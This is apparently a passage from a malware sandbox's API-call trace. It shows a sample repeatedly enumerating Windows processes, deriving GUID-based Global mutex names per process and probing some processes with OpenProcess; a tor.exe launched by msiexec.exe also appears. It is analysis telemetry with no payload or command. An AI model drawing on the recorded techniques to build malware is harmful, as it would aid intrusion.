[0120.695] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.695] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.696] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.697] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.698] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.699] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.700] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.700] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.701] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.702] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.703] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.703] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.704] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.705] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.706] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.707] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.708] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.708] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0120.708] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x568 [0120.708] GetLastError () returned 0xb7 [0120.708] CloseHandle (hObject=0x568) returned 1 [0120.709] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.709] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0120.709] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x568 [0120.709] GetLastError () returned 0xb7 [0120.709] CloseHandle (hObject=0x568) returned 1 [0120.709] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.710] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.711] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0120.711] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x568 [0120.711] GetLastError () returned 0x0 [0120.711] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0120.711] CloseHandle (hObject=0x568) returned 1 [0120.711] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.712] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0120.712] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x568 [0120.712] GetLastError () returned 0x0 [0120.712] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0120.712] CloseHandle (hObject=0x568) returned 1 [0120.712] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.713] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0120.713] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x568 [0120.713] GetLastError () returned 0xb7 [0120.713] CloseHandle (hObject=0x568) returned 1 [0120.713] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.714] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0120.714] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x568 [0120.714] GetLastError () returned 0x0 [0120.714] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0120.714] CloseHandle (hObject=0x568) returned 1 [0120.714] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0120.715] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0120.716] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0120.716] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0120.717] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0120.718] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0120.719] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0120.720] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0120.721] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0120.721] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0120.722] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0120.723] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0120.724] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0120.725] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0120.725] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0120.726] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0120.727] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0120.728] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0120.729] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0120.729] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0120.730] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0120.731] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.732] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0120.733] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.734] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.734] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.735] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.783] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.784] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.784] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.785] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.786] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0120.786] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0120.786] GetLastError () returned 0xb7 [0120.786] CloseHandle (hObject=0x56c) returned 1 [0120.786] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0120.787] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0120.788] CloseHandle (hObject=0x6cc) returned 1 [0120.788] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0120.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0120.897] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.898] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.899] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.900] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.901] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.902] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.902] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.903] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.904] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.905] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.906] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.906] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 